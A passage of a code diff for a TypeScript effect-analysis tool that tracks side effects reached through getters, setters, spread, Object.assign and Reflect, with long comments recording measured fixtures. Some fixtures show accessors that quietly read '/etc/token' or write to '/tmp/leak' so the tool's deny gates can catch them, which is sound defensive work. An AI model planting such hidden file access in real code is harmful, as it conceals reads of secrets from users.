+ // R247's convergence needs the identical test on the `Reflect.set(t, k, v)` side, and a second private
4569
+ // copy is how the two spellings drift apart again — which is the entire subject of the row.
4570
+ //
4571
+ // A DENYLIST OF THE PROVEN-UNREACHABLE, not an allowlist: it excludes only when EVERY declaration of
4572
+ // the property has a computed name whose expression is symbol-TYPED, and it lifts entirely when the
4573
+ // key's own type could hold the other kind (`PropertyKey`, `symbol`, `any`, `unknown`) or when there is
4574
+ // no key expression to read at all (`keyT == null` → every property stays reachable).
4575
+ //
4576
+ // SOUNDNESS R283 — A TYPE PARAMETER IS NOT A SPELLING, AND THE COMMENT ABOVE IS TRUE OF FOUR SPELLINGS
4577
+ // AND FALSE OF EVERY GENERIC ONE. "It lifts entirely when the key's own type could hold the other kind
4578
+ // (`PropertyKey`, `symbol`, `any`, `unknown`)" was written by the commit that needed it, and it reads as
4579
+ // a considered ruling — §K exactly. A TYPE PARAMETER's own flags are `TypeParameter` and nothing else:
4580
+ // neither symbol-ish nor wild, so both tests read FALSE and the key was treated as provably not a symbol,
4581
+ // although `K extends PropertyKey` binds to one at the call site. The key's vocabulary is in its
4582
+ // CONSTRAINT, and `getBaseConstraintOfType` is where the checker keeps it — the same call `keyLiteralNames`
4583
+ // already makes twenty lines up for exactly this reason (§G: ask the authority, it already knows).
4584
+ //
4585
+ // MEASURED through the TS API on the fixture, at 9a0cfd9:
4586
+ // k: K where K extends PropertyKey flags 524288 (TypeParameter) keyMayBeSymbol FALSE
4587
+ // getBaseConstraintOfType -> PropertyKey, whose arms answer TRUE
4588
+ //
4589
+ // AND THE PART THAT DECIDES HOW MUCH THIS MATTERS: the blindness was NOT uniform, because one arm passed
4590
+ // BY ACCIDENT. `Reflect.set(t, k, v)`'s lib.d.ts `propertyKey: PropertyKey` is NON-generic, so the
4591
+ // checker hands this helper `PropertyKey` and the guard answered right for the wrong reason; `Reflect.get`
4592
+ // is generic (`P extends PropertyKey`), so `k` keeps type `K` and the guard answered wrong. A guard that
4593
+ // passes because of an overload's shape is one TypeScript release from flipping, and it is why the
4594
+ // axis here is the CONSTRAINT and not the four spellings. EXECUTED, 1 real getter invocation per cell,
4595
+ // over a class whose only accessor is `get [SYM]()`:
4596
+ //
4597
+ // K extends keyof Src Reflect.get SILENT Reflect.set SILENT s[k] SILENT s[k]=v SILENT
4598
+ // K extends symbol Reflect.get SILENT Reflect.set SILENT
4599
+ // K extends PropertyKey Reflect.get SILENT Reflect.set discloses ← the accidental pass
4600
+ // PropertyKey / symbol / keyof Src / any (non-generic) all four arms disclose
4601
+ // string / "tok" / "tok"|"other" correctly silent — 0 executed, no legal key reaches the accessor
4602
+ //
4603
+ // UNCONSTRAINED `<K>` fails OPEN (both kinds possible), which is the disclose direction: a bare type
4604
+ // parameter can be instantiated with anything, so nothing is proven and nothing may be excluded.
4605
+ function keyCouldNameAccessor(propSym, keyT) {
4606
+ const SYMBOLISH = ts.TypeFlags.ESSymbolLike, WILD = ts.TypeFlags.Any | ts.TypeFlags.Unknown;
4607
+ // A key type flattened to the arms whose FLAGS actually answer the question: a union spreads to its
4608
+ // constituents, a type parameter to its constraint's, and an UNCONSTRAINED one to `null` — "no
4609
+ // vocabulary is proven here", which both tests below read as possible.
4610
+ const arms = (t, depth = 0) => {
4611
+ if (!t) return [];
4612
+ if (t.isUnion?.()) return t.types.flatMap((x) => arms(x, depth));
4613
+ if ((t.flags & ts.TypeFlags.TypeParameter) && depth < 4) {
4614
+ const c = checker.getBaseConstraintOfType?.(t);
4615
+ return c && c !== t ? arms(c, depth + 1) : [null];
4616
+ }
4617
+ return [t];
4618
+ };
4619
+ const keyArms = keyT ? arms(keyT) : [];
4620
+ const keyMayBeSymbol = !keyT || keyArms.some((t) => t === null || (t.flags & (SYMBOLISH | WILD)));
4621
+ const keyMayBeString = !keyT || keyArms.some((t) => t === null || !(t.flags & SYMBOLISH));
4622
+ const ds = propSym?.declarations ?? [];
4623
+ const symbolNamed = ds.length > 0 && ds.every((d) => d.name && ts.isComputedPropertyName(d.name)
4624
+ && !!(checker.getTypeAtLocation(d.name.expression)?.flags & SYMBOLISH));
4625
+ return symbolNamed ? keyMayBeSymbol : keyMayBeString;
4626
+ }
4627
+
3908
4628
  // Object PROPERTY-ENUMERATION (`{...obj}`, `const {...rest} = obj`, `Object.assign(t, obj)`): copying an
3909
4629
  // object's own enumerable props INVOKES each source getter — the whole-object analog of `obj.prop`,
3910
4630
  // invisible to the property-access arm (no PropertyAccess node per key). Edge `owner` to every LOCAL
3911
4631
  // getter on the source type. A rest/spread can't name one key, so ALL getters are enumerated (sound
3912
4632
  // over-approximation); a plain prop resolves to no accessor and adds nothing (no fabrication).
3913
- function enumerateGetters(owner, type) {
3914
- if (!owner || !type || !type.getProperties) return;
3915
- for (const p of type.getProperties()) {
3916
- const hit = accessorFromSym(p, "get");
3917
- if (hit) recordAccessorHit(owner, hit, p.getName());
4633
+ //
4634
+ // R115 — AND "OWN ENUMERABLE" IS THE HALF THE BODY DID NOT APPLY, so this fabricated on every class.
4635
+ // `type.getProperties()` returns the INHERITED prototype surface, and a `class C { get token() {…} }`
4636
+ // accessor is installed on `C.prototype` and NON-enumerable — so spread/assign/rest never copy it and
4637
+ // never call it. EXECUTED, node 22.12.0, counting getter invocations:
4638
+ //
4639
+ // {...c} 0 Object.assign({},c) 0 const {...r}=c 0 {...new Sub()} 0 (Sub extends Base)
4640
+ // {...objectLiteral} 1 const {tok}=c 1 c.tok 1 {...Object.create(protoWithGetter)} 0
4641
+ //
4642
+ // export class Session { id = 1; get token(){ return fs.readFileSync("/etc/token","utf8"); } }
4643
+ // export function clone(s: Session) { return { ...s }; }
4644
+ //
4645
+ // before: src.a.clone ['Fs'] `deny Fs` -> exit 1 executed: {"copied":{"id":1},"calls":0}
4646
+ // after: src.a.clone absent `deny Fs` -> exit 0
4647
+ //
4648
+ // A FALSE POSITIVE, not a miss — it fails a gate on a function that performs nothing, and the whole
4649
+ // value of a `deny` gate is that a red one means something.
4650
+ //
4651
+ // NARROWED AS A DENYLIST, per the family rule: the exclusion fires ONLY for an accessor whose every
4652
+ // get-declaration sits directly in a `class` body (ClassDeclaration/ClassExpression), which is provably
4653
+ // prototype-installed. An INTERFACE or TYPE-LITERAL `get token(): string` stays charged, because the
4654
+ // runtime object behind that type may be an object literal, whose getter IS own+enumerable and DOES
4655
+ // fire. `every`, not `find`: a union/intersection property symbol carries declarations from each
4656
+ // constituent, and `Session | { get token(): string }` must stay charged on the strength of its
4657
+ // object-literal arm (measured — `src.b.cloneUnion` keeps `Fs`).
4658
+ //
4659
+ // `JSON.stringify(c)` and `Object.entries(c)` STAYING PURE IS CORRECT and is not this fix: both read
4660
+ // own enumerable props too (executed: 0 invocations on a class instance), and neither is enumerated
4661
+ // here in the first place.
4662
+ //
4663
+ // THE HOLE THIS OPENS IS REAL, MEASURED, AND HALF-CLOSED BELOW, not asserted away. TypeScript is
4664
+ // STRUCTURAL, so a value whose static type is a class can be an object literal with an OWN enumerable
4665
+ // getter — executed, `{...structural}` invokes it once:
4666
+ //
4667
+ // export const structural: Session = { id: 1, get token(){ return fs.readFileSync("/etc/s","utf8"); } };
4668
+ //
4669
+ // The `srcExpr` arm below resolves the spread source through its BINDING to an object-literal
4670
+ // initializer and enumerates THAT literal's accessors, so this spelling stays charged. It is a
4671
+ // widening — it can only add — so it cannot itself hide anything.
4672
+ //
4673
+ // R120 — AND THE SENTENCE THAT USED TO FOLLOW WAS FALSE, WHICH IS THE §E2 SHAPE EXACTLY. It read
4674
+ // "what it does NOT reach is a structural literal arriving through a PARAMETER or a call return",
4675
+ // i.e. it stated the residual as a closed list of two. The arm's first cut required `srcExpr` to be a
4676
+ // bare Identifier and read `getSymbolAtLocation(srcExpr).declarations` WITHOUT following an alias, so
4677
+ // FOUR more spellings fell out of it — and the first of them is the one the paragraph implicitly
4678
+ // promised, a plain `const` binding reached across a MODULE. Measured at e5c60bc by PRINTING the
4679
+ // resolved declaration at the point the arm fires, never by reading the code:
4680
+ //
4681
+ // src=src/a.ts:4 owner=src.a.clone srcExprKind=Identifier text="structural"
4682
+ // symDecls =["ImportSpecifier@src/a.ts:1"] ← what the arm looked at
4683
+ // aliasedDecls =["VariableDeclaration@src/lib.ts:8 init=ObjectLiteral"] ← what it needed
4684
+ //
4685
+ // 1. `import { structural } from "./lib"; {...structural}` → the symbol is an ALIAS; its own
4686
+ // declaration is the ImportSpecifier, so the VariableDeclaration test failed and the row went
4687
+ // ABSENT. `deny Fs src.a.clone` exited 0 over a spread that invokes an fs-reading getter. A
4688
+ // SILENT UNDER-REPORT, and it is the shape any multi-file project has.
4689
+ // 2. `const o = { get k(){…} } as Session` → initializer is an AsExpression, not a literal.
4690
+ // 3. `const o = ({ get k(){…} })` → initializer is a ParenthesizedExpression.
4691
+ // 4. `{...(structural)}` / `{...(o as T)}` / `{...o!}` → srcExpr is not an Identifier at all.
4692
+ //
4693
+ // `const o = {…} satisfies Session` is a FIFTH spelling of the same question that the arm also misses,
4694
+ // and it is charged anyway — `satisfies` keeps the literal's own type, so its getter declaration sits
4695
+ // in an ObjectLiteralExpression and `classBodiedGetter` never excludes it. Covered by a different
4696
+ // mechanism, so it is a control here rather than a fix: two paths answering one question is exactly
4697
+ // the R109/R110/R111 shape, and their agreement is not evidence.
4698
+ //
4699
+ // All four are closed by UNWRAPPING and ASKING THE ALIAS (§G — the checker already knows), and every
4700
+ // one of them is a WIDENING: it can only add accessor hits, never remove one, so the direction it
4701
+ // fails in is over-charge, not silence.
4702
+ //
4703
+ // WHAT IS STILL NOT REACHED, stated as the open list it is rather than a closed one: a structural
4704
+ // literal arriving through a PARAMETER, through a call return, or through a PROPERTY ACCESS
4705
+ // (`{...holder.inner}`, `{...this.o}`) — none has a binding whose initializer this can read. All three
4706
+ // are pinned by fixtures asserting today's (wrong) answer, so closing one shows up as an expectation
4707
+ // that changed. Before R115 those spellings were charged only by COINCIDENCE — the class accessor's
4708
+ // effects were reported in place of the literal's, which is the right verdict off the wrong evidence.
4709
+ function classBodiedGetter(sym) {
4710
+ const decls = (sym?.declarations ?? []).filter((d) => ts.isGetAccessorDeclaration(d));
4711
+ return decls.length > 0 && decls.every((d) => ts.isClassDeclaration(d.parent) || ts.isClassExpression(d.parent));
4712
+ }
4713
+ function enumerateGetters(owner, type, srcExpr) {
4714
+ if (!owner) return;
4715
+ if (type && type.getProperties) {
4716
+ for (const p of propertiesAcrossArms(type)) { // R259 — the disjunction, not the intersection
4717
+ if (classBodiedGetter(p)) continue; // prototype + non-enumerable → not copied by a spread
4718
+ for (const hit of accessorsFromSym(p, "get")) recordAccessorHit(owner, hit, p.getName(), srcExpr);
4719
+ }
4720
+ }
4721
+ // The structural arm: `const o: SomeClass = { get k(){…} }` — the BINDING's initializer is an object
4722
+ // literal, so its accessors are own+enumerable and the copy DOES invoke them, whatever the annotation
4723
+ // says. Follows a plain binding only (one hop, no calls, no conditionals); adds, never removes.
4724
+ //
4725
+ // R120 — THREE UNWRAPS AND ONE ALIAS HOP, because the question is which OBJECT is being copied and
4726
+ // none of these four wrappers changes that answer. Each is a spelling measured absent at e5c60bc.
4727
+ let se = srcExpr;
4728
+ while (se && (ts.isParenthesizedExpression(se) || ts.isAsExpression(se)
4729
+ || ts.isSatisfiesExpression(se) || ts.isNonNullExpression(se))) se = se.expression;
4730
+ if (!se || !ts.isIdentifier(se)) return; // parameter / call return / member
4731
+ let sym0 = checker.getSymbolAtLocation(se);
4732
+ if (!sym0) return;
4733
+ // An IMPORTED binding's own declaration is the ImportSpecifier/ImportClause, never the `const` that
4734
+ // holds the literal — so without this hop every cross-module spread read the alias and gave up. This
4735
+ // is the same `getAliasedSymbol` call the fetch import arm already makes for the same reason.
4736
+ if (sym0.flags & ts.SymbolFlags.Alias) { try { sym0 = checker.getAliasedSymbol(sym0) ?? sym0; } catch { /* unresolved import */ } }
4737
+ for (const d of sym0.declarations ?? []) {
4738
+ if (!ts.isVariableDeclaration(d) || !d.initializer) continue;
4739
+ let init = d.initializer;
4740
+ while (ts.isParenthesizedExpression(init) || ts.isAsExpression(init)
4741
+ || ts.isSatisfiesExpression(init) || ts.isNonNullExpression(init)) init = init.expression;
4742
+ if (!ts.isObjectLiteralExpression(init)) continue;
4743
+ for (const pr of init.properties) {
4744
+ if (!ts.isGetAccessorDeclaration(pr)) continue;
4745
+ const nm = pr.name?.getText?.() ?? "?";
4746
+ recordAccessorHit(owner, { decl: pr, local: projectFiles.has(path.resolve(pr.getSourceFile().fileName)) }, nm);
4747
+ }
4748
+ }
4749
+ }
4750
+
4751
+ // R116 — THE MIRROR OF `enumerateGetters`, AND THE ARM THAT DID NOT EXIST. `Object.assign(t, s)` is
4752
+ // specified as `t[k] = s[k]` for every own enumerable key of every source, so it invokes the TARGET's
4753
+ // SETTERS exactly as `t.k = v` does. `enumerateGetters` above handles the SOURCE side; nothing handled
4754
+ // this one, so a setter that writes a file was reported as nothing at all:
4755
+ //
4756
+ // export class Sink { set token(x: number) { fs.writeFileSync("/tmp/leak", String(x)); } }
4757
+ // export function viaAssign() { const s = new Sink(); Object.assign(s, { token: 1 }); }
4758
+ // -> `viaAssign` ABSENT from `functions[]`, `deny Fs` exit 0, in a tree containing NOTHING else
4759
+ // export function viaNamedWrite() { const s = new Sink(); s.token = 2; } -> ["Fs"], correctly
4760
+ //
4761
+ // One spelling of a question the engine already answers right, which is what makes it a defect rather
4762
+ // than a coverage gap. GROUND TRUTH EXECUTED on node 22.12.0, counting setter invocations: 1 for every
4763
+ // `Object.assign` spelling (literal source, two sources, a parameter source, a spread source, a
4764
+ // computed key) and 1 for `Reflect.set`; 0 for `{...s, token: 1}` (a spread builds a FRESH object, so
4765
+ // no setter runs) and 0 for `Object.defineProperties(s, { token: { value: 3 } })` (a `value:` descriptor
4766
+ // installs an own property and bypasses the setter). Those two zeroes are the controls.
4767
+ //
4768
+ // THE KEY SET IS A DENYLIST OF THE PROVEN, NOT AN ALLOWLIST OF THE GUESSED — the family rule, and the
4769
+ // direction this fails in is over-charge. Every setter the target declares is charged UNLESS the copied
4770
+ // key set can be PROVEN and excludes it. It is provable in exactly one shape: a fresh object literal at
4771
+ // the call site with no spread and no computed key, whose keys are its own text. It is NOT provable from
4772
+ // a source's declared TYPE, because TypeScript is structural and the runtime object may carry more keys
4773
+ // than the annotation admits:
4774
+ // function f(s: { a: number }) { Object.assign(target, s); } f({ a: 1, token: 2 }); // token IS copied
4775
+ // so a type-keyed answer would be an allowlist of guessed-safe keys, which is how a silent under-report
4776
+ // gets introduced while killing an over-charge.
4777
+ //
4778
+ // NO FABRICATION WHERE THERE IS NOTHING TO CHARGE: a target that declares no `set` accessor takes this
4779
+ // function through zero iterations, so the overwhelmingly common `Object.assign(cfg, opts)` over plain
4780
+ // data objects is untouched — measured on the corpus, not assumed.
4781
+ //
4782
+ // `keys === null` means "the copied key set is not provable"; a Set means it is, exactly.
4783
+ const provenCopiedKeys = (sources) => {
4784
+ const keys = new Set();
4785
+ for (let s of sources) {
4786
+ while (s && (ts.isParenthesizedExpression(s) || ts.isAsExpression(s)
4787
+ || ts.isSatisfiesExpression(s) || ts.isNonNullExpression(s))) s = s.expression;
4788
+ if (!s || !ts.isObjectLiteralExpression(s)) return null; // parameter / call return / variable
4789
+ for (const pr of s.properties) {
4790
+ if (ts.isSpreadAssignment(pr)) return null; // `{...o}` copies an unknown key set
4791
+ const n = pr.name;
4792
+ if (!n) return null;
4793
+ if (ts.isIdentifier(n) || ts.isStringLiteralLike(n) || ts.isNumericLiteral(n)) keys.add(n.text);
4794
+ else return null; // computed key `{[k]: v}`
4795
+ }
4796
+ }
4797
+ return keys;
4798
+ };
4799
+ //
4800
+ // SOUNDNESS R247 — WHERE THE KEY SET IS UNPROVABLE, DISCLOSE `Unknown`; DO NOT CHARGE EVERY SETTER.
4801
+ // The paragraph above ("every setter the target declares is charged unless the copied key set can be
4802
+ // PROVEN and excludes it") described what this branch did until R247, and it made ONE ECMAScript
4803
+ // operation answer two ways: `Reflect.set(s, k, v)` with a runtime key charged `['Fs']` here, while
4804
+ // `s[k] = v` — the same property write, the same unpinnable key — disclosed `['Unknown']` under
4805
+ // R240(b) a few hundred lines down. A scoped `deny Fs` caught one and not the other.
4806
+ //
4807
+ // The two directions are not symmetric and that is what decides it: charging every setter is
4808
+ // FABRICATION (it claims an effect that a run may not perform), disclosing `Unknown` is honest about
4809
+ // exactly what is not known. The family's posture is to under-report rather than fabricate, and R240(b)
4810
+ // had already spent that posture on the other spelling.
4811
+ //
4812
+ // GROUND TRUTH EXECUTED, node 22.12.0, counting real `fs.writeFileSync` calls on a class declaring TWO
4813
+ // setters (`token`, `other`) and one data property (`plain`):
4814
+ // Reflect.set(s, k, v) k="token" 1 k="other" 1 k="plain" 0 ← at most ONE, never both
4815
+ // Object.assign(s, src) src={plain} 0 {plain,token} 1 {plain,token,other} 2
4816
+ // Reflect.set(s,"token",v) 1 Object.assign(s,{token:1}) 1 Object.assign(s,{plain:1}) 0
4817
+ // So the invoked set is an UNKNOWN SUBSET of the declared setters in both cases — including the empty
4818
+ // subset, which is the input the old charge fabricated on.
4819
+ //
4820
+ // THE PROVABLE BRANCH IS UNTOUCHED: a fresh object literal at the call site, or a string-literal
4821
+ // `Reflect.set` key, still resolves to the named setters and still propagates their effects through an
4822
+ // EDGE. Only `keys === null` changed. WITHDRAWAL PRICED FIRST, over 14,149 rows (1,623 TS-source +
4823
+ // 12,526 npm): 316 sites reach this branch and 0 rows lose an effect — every effect it charged is
4824
+ // either pure or already carried by another path.
4825
+ //
4826
+ // TWO REASON TAGS, deliberately not one. `Reflect.set` is the SAME mechanism as `s[k] = v` — one
4827
+ // runtime-chosen key, at most one setter — so it emits R240(b)'s own `reflect:accessor:dynamic-key`,
4828
+ // and that identity IS the convergence this row asked for. `Object.assign` is a different mechanism
4829
+ // with a different bound (an unprovable copied key SET; 0..n setters, measured 2 above), so it emits
4830
+ // `reflect:accessor:dynamic-keyset`. Both sit in the `reflect` class, so `deny Unknown[reflect]`
4831
+ // selects both and no policy has to know the difference.
4832
+ //
4833
+ // `keyType` is the type of the runtime key where there IS one (`Reflect.set`'s second argument), so the
4834
+ // two-way symbol/string denylist can rule out a provably-unreachable accessor exactly as R240(b) does.
4835
+ // `Object.assign` passes null — it copies own enumerable STRING **and SYMBOL** keys, so no accessor on
4836
+ // the target is provably out of reach and the guard must lift entirely.
4837
+ //
4838
+ // SOUNDNESS R251 — AND THE SAME FUNCTION ANSWERS THE **GET** SIDE, WHICH HAD NO ARM AT ALL.
4839
+ // `Reflect.get(t, k)` performs the ordinary [[Get]] — it runs whatever getter the property lookup finds
4840
+ // — and nothing in this file handled it, in ANY spelling. Not the unprovable-key case R240/R247 are
4841
+ // about: it was silent for the plain string-literal key too, so the whole builtin was missing.
4842
+ //
4843
+ // class Src { get token() { return fs.readFileSync("/etc/hosts", "utf8"); } }
4844
+ // export function go() { const s = new Src(); return Reflect.get(s, "token"); }
4845
+ // -> `go` ABSENT from `functions[]`; in a tree containing NOTHING else, `deny Fs src.only.go`
4846
+ // exit 0 AND `pure src.only.go` exit 0, both scopes binding (no unmatched-scope warning).
4847
+ //
4848
+ // This is `kind`-parameterised rather than copied, which is §G: R247 already merged the two spellings of
4849
+ // the SET question into one body after they drifted, and a private `enumerateTargetGetters` would be the
4850
+ // same mistake in the other direction. Only the accessor kind differs — the key-set logic, the
4851
+ // unprovable-key disclosure, the symbol/string denylist and the no-fabrication exit are identical.
4852
+ //
4853
+ // GROUND TRUTH EXECUTED, node 22.12.0, counting real getter invocations:
4854
+ // Reflect.get(o,"token") literal 1 class 1 ← BOTH, and the class arm is why there is no
4855
+ // Reflect.get(o,k) k="token" 1 1 `classBodiedGetter` exclusion below
4856
+ // Reflect.get(o,"other") 0 0 ← the provable-exclusion control
4857
+ // Reflect.has / ownKeys / deleteProperty / defineProperty / getOwnPropertyDescriptor / getPrototypeOf
4858
+ // 0 0 ← the whole rest of `Reflect.*`, swept, all zero
4859
+ // (`Reflect.apply`/`Reflect.construct` DO invoke user code — 1 each — and are already handled by the
4860
+ // reflective-invoke arm near `invokedRef`, not here.)
4861
+ function enumerateTargetAccessors(owner, targetExpr, keys, kind /* "get" | "set" */, unprovable = {}) {
4862
+ if (!owner || !targetExpr) return;
4863
+ const t = checker.getTypeAtLocation(targetExpr);
4864
+ if (!t || !t.getProperties) return;
4865
+ // `!keys`, not `keys === null`: a Set is always truthy, so this is exactly "the key set is not
4866
+ // provable" — and it keeps the tolerance the old `keys && !keys.has(…)` line had for a caller that
4867
+ // passes nothing. `keys.has` below is now unguarded, so a future third call site omitting the
4868
+ // argument would throw rather than take this branch.
4869
+ if (!keys) {
4870
+ for (const p of propertiesAcrossArms(t)) { // R259 — the disjunction, not the intersection
4871
+ if (!accessorsFromSym(p, kind).length) continue;
4872
+ if (!keyCouldNameAccessor(p, unprovable.keyType ?? null)) continue;
4873
+ const rec = fns.get(owner);
4874
+ rec.direct.add("Unknown");
4875
+ rec.why.add(`reflect:accessor:${unprovable.why ?? "dynamic-key"}`);
4876
+ return; // one disclosure per site — WHICH accessor runs is the thing not known
4877
+ }
4878
+ return; // a target declaring no reachable accessor discloses nothing (0 real invocations)
4879
+ }
4880
+ for (const p of propertiesAcrossArms(t)) { // R259 — the disjunction, not the intersection
4881
+ // NO `classBodiedGetter`-style exclusion here, and the asymmetry is the point rather than an
4882
+ // oversight: R115 excluded a class-bodied GETTER because a prototype accessor is non-enumerable and
4883
+ // therefore never COPIED. A prototype SETTER is the opposite — it is found by the assignment's
4884
+ // property lookup and IS invoked. Executed above: the `Sink` setter lives on `Sink.prototype` and
4885
+ // runs once. Excluding it here would be R115's reasoning applied to the direction it does not hold.
4886
+ // R251 — and the same holds for the GET side reached this way: `Reflect.get` is a property LOOKUP,
4887
+ // not a copy, so it finds a prototype getter too (executed: class 1). The exclusion belongs to
4888
+ // `enumerateGetters`, whose callers really are copies, and to nothing here.
4889
+ if (!keys.has(p.getName())) continue; // proven not touched by this operation
4890
+ for (const hit of accessorsFromSym(p, kind)) recordAccessorHit(owner, hit, p.getName(), targetExpr);
3918
4891
  }
3919
4892
  }
3920
4893
 
@@ -4297,6 +5270,133 @@ const dispatchWhy = (qualifiedOwner, member) =>
4297
5270
  qualifiedOwner && member ? `dispatch:${qualifiedOwner}.${member}`
4298
5271
  : `callback:${qualifiedOwner ?? member ?? "unresolved call"}`;
4299
5272
 
5273
+ // SOUNDNESS R284 — THE OWNER A MEMBER HAS AND NOBODY WENT LOOKING FOR, plus the one site that formed an
5274
+ // owner it could not qualify. `dispatchWhy` above decides §4's class from whether an owner STRING could
5275
+ // be formed, so every producer that fails to form one silently demotes a member dispatch to `callback:`
5276
+ // and moves its §6.2 class from `dispatch` to `indirect` — narrowing every `deny E Unknown[dispatch]`
5277
+ // gate in the field, which SPEC §4 ⟨0.24⟩ names and rejects in terms.
5278
+ //
5279
+ // The producing arm read `sigDecl.parent?.name`, which an `InterfaceDeclaration` has and a `TypeLiteral`
5280
+ // NEVER does. MEASURED, one program, at 9a0cfd9 — a pure spelling difference in TypeScript:
5281
+ //
5282
+ // interface Shape { m(): void } x.m() -> dispatch:src.a.Shape.m [dispatch] RED
5283
+ // type Shape = { m(): void }; x.m() -> callback:m [dispatch] —, [indirect] RED
5284
+ //
5285
+ // AND THE BOUNDARY OF THE ROW THAT FILED IT WAS DRAWN AROUND ITS OWN TRIGGER — one arm, the one in hand.
5286
+ // Grepping the MECHANISM ("a site that forms a dispatch:/callback: owner") rather than the name found
5287
+ // two more, both measured on executing fixtures:
5288
+ //
5289
+ // · the >12-override family arm emits an UNQUALIFIED `dispatch:Shape.m` where every other site emits
5290
+ // `mod.Owner.member`. The consumer's `^dispatch:(.+)\.([^.]+)$` then yields owner `Shape`, which
5291
+ // matches no `declaringType` qual, so the dispatch frontier can never resolve it. The comment at the
5292
+ // producing arm asserts "the other emission sites produced none" of the 1,234 malformed strings — a
5293
+ // §K sentence: true of the corpus it was measured on, false of the code. A 14-subclass fixture
5294
+ // produces one on demand.
5295
+ // · `reflect:accessor:` took its owner from the same `parent?.name`, with `?? "?"` as the fallback, so
5296
+ // a type-alias-declared accessor discloses `reflect:accessor:?.val` where the interface spelling
5297
+ // discloses `reflect:accessor:Shape.val`. The class does not move (both are `reflect`), but `?` is
5298
+ // not an owner anything can scope to.
5299
+ //
5300
+ // WHAT THIS DOES **NOT** CLAIM: a fully anonymous inline literal (`function f(x: { m(): void })`) still
5301
+ // has no owner to name and stays `callback:`, because SPEC §4 reserves `dispatch:` for an owner type AND
5302
+ // member that are BOTH known. That residual is stated, not closed — it is the open list, and a nested
5303
+ // literal names the alias that declares the shape it sits in rather than inventing a path.
5304
+ const NAMED_TYPE_OWNER = (d) => ts.isInterfaceDeclaration(d) || ts.isClassDeclaration(d)
5305
+ || ts.isClassExpression(d) || ts.isTypeAliasDeclaration(d) || ts.isEnumDeclaration(d);
5306
+ // SOUNDNESS R355 — THE WALK MUST STOP AT A VALUE BOUNDARY, or it names a type that does not declare
5307
+ // the member. R284 added this ancestor walk so a member of an anonymous type LITERAL could still name
5308
+ // the alias that declares it; it climbs every parent until it finds a named declaration, and nothing
5309
+ // stopped it leaving the type position. Four shapes measured wrong on real code:
5310
+ //
5311
+ // literal in a method BODY eslint 9.x `SourceCode.traverse` -> dispatch:….SourceCode.enterNode
5312
+ // (`enterNode` is a method of a literal declared inside the method;
5313
+ // SourceCode declares no such member)
5314
+ // literal in a class FIELD zx `ProcessPromise.bus` -> dispatch:….ProcessPromise.unpipe, which
5315
+ // names a REAL but DIFFERENT method of that class
5316
+ // TYPE-PARAMETER constraint `class A<T extends {m(): void}>` -> dispatch:….A.m — the class named
5317
+ // as owner of its own constraint's member
5318
+ // inline PROPERTY type `cb!: { m(): void }` -> dispatch:….Holder.m
5319
+ //
5320
+ // SPEC §4 makes the dotted `dispatch:<owner-type>.<member>` detail NORMATIVE, so a phantom owner is a
5321
+ // wrong normative field, and `callers --include-unknown` builds frontier edges from it. It is
5322
+ // over-approximate rather than silent — never a cardinal sin — but 0.35.0 ships these rows as
5323
+ // `callback:`, so publishing the phantom and fixing it later would flip `deny Unknown[dispatch]` twice
5324
+ // on identical bytes.
5325
+ //
5326
+ // A DENYLIST OF VALUE-POSITION BOUNDARIES, not an allowlist of permitted ancestors: a node kind nobody
5327
+ // foresaw keeps climbing and over-fires visibly, rather than silently demoting a real owner to
5328
+ // `callback:`. Say which direction it fails in — this one fails loud.
5329
+ // SOUNDNESS R367 — RETIRED, AND KEPT ONLY AS THE RECORD OF WHY. This denylist was the syntactic proxy
5330
+ // for "has the walk left the type position", and it was wrong in BOTH directions: too narrow at R355
5331
+ // (it missed the interface/type-alias property spelling, which R359 then added), and once wide enough
5332
+ // to catch that, too broad — `ts.isTypeReferenceNode` demoted `type RO = Readonly<{ m(): void }>`,
5333
+ // which genuinely has `m`, turning a firing `deny Unknown[dispatch]` green on a real owner (R363).
5334
+ // Three commits chasing one question with the wrong instrument.
5335
+ //
5336
+ // `ownerDeclaresMember` now asks the checker directly and answers all six shapes correctly, including
5337
+ // the four this list was written for. The list is no longer consulted; it is left here, unused, for
5338
+ // one release so the next reader meets the reasoning rather than the deletion. THE GENERAL POINT is
5339
+ // in `candor-handlist-vein`: an engine WITH a type checker should not hand-maintain what the checker
5340
+ // derives — that instrument belongs to candor-rust and candor-swift, which have no checker.
5341
+ // (the list itself is deleted — `npm test`'s lint is right that a retired binding is dead code;
5342
+ // the shapes it covered are in SOUNDNESS R355/R359/R363/R367, which is where they belong.)
5343
+ /** The nearest ancestor declaration that NAMES the type this member belongs to, or null. */
5344
+ const namedTypeAncestor = (node) => {
5345
+ for (let n = node?.parent, guard = 0; n && guard++ < 32; n = n.parent) {
5346
+ if (ts.isSourceFile(n)) return null;
5347
+ if (NAMED_TYPE_OWNER(n) && n.name) return n;
5348
+ }
5349
+ return null;
5350
+ };
5351
+ /** `<module>.<namespace prefix><Name>` — the spelling `mod.Class.member` quals use, so the dispatch
5352
+ * frontier can resolve it against the hierarchy sidecar. A bare name cannot be resolved by anything. */
5353
+ const qualifiedTypeName = (d) => (d?.name
5354
+ ? `${moduleOf(d.getSourceFile())}.${namespacePrefixOf(d)}${d.name.getText()}` : null);
5355
+ /** SOUNDNESS R367 — ASK THE CHECKER WHETHER THE CANDIDATE OWNER ACTUALLY HAS THE MEMBER.
5356
+ *
5357
+ * R284 walked up to the nearest named declaration and named it. R355 and R359 then tried to fix the
5358
+ * cases where that walk leaves the type position by enumerating NODE KINDS to stop at — a hand-
5359
+ * maintained syntactic list, which is the instrument the two engines WITHOUT a type checker are
5360
+ * forced to use. candor-ts has a checker. Enumerating positions here was answering a semantic
5361
+ * question with a syntactic proxy, and the proxy was wrong in both directions: it missed
5362
+ * `interface I { cb: { m(): void } }` (R359) and, once widened enough to catch that, it demoted
5363
+ * `type RO = Readonly<{ m(): void }>`, which genuinely HAS `m` — turning a firing
5364
+ * `deny Unknown[dispatch]` green on a real owner (R363).
5365
+ *
5366
+ * The question is not "what syntax is this literal sitting in". It is "does the type this
5367
+ * declaration declares have a property by this name". That is one checker call and it is exact:
5368
+ * type Named = { m(): void } -> has m -> owner kept
5369
+ * type RO = Readonly<{ m(): void }> -> has m -> owner kept (the mapped type maps it)
5370
+ * type Id<T>=T; type IdLit = Id<{m()}> -> has m -> owner kept
5371
+ * type ListOf = Array<{ m(): void }> -> no m -> no owner
5372
+ * interface I { cb: { m(): void } } -> no m -> no owner
5373
+ * class C { go(){ const a={m(){}}; a.m() }}-> no m -> no owner
5374
+ *
5375
+ * FAILS LOUD BY CONSTRUCTION. Any uncertainty — no symbol, no declared type, the checker throwing —
5376
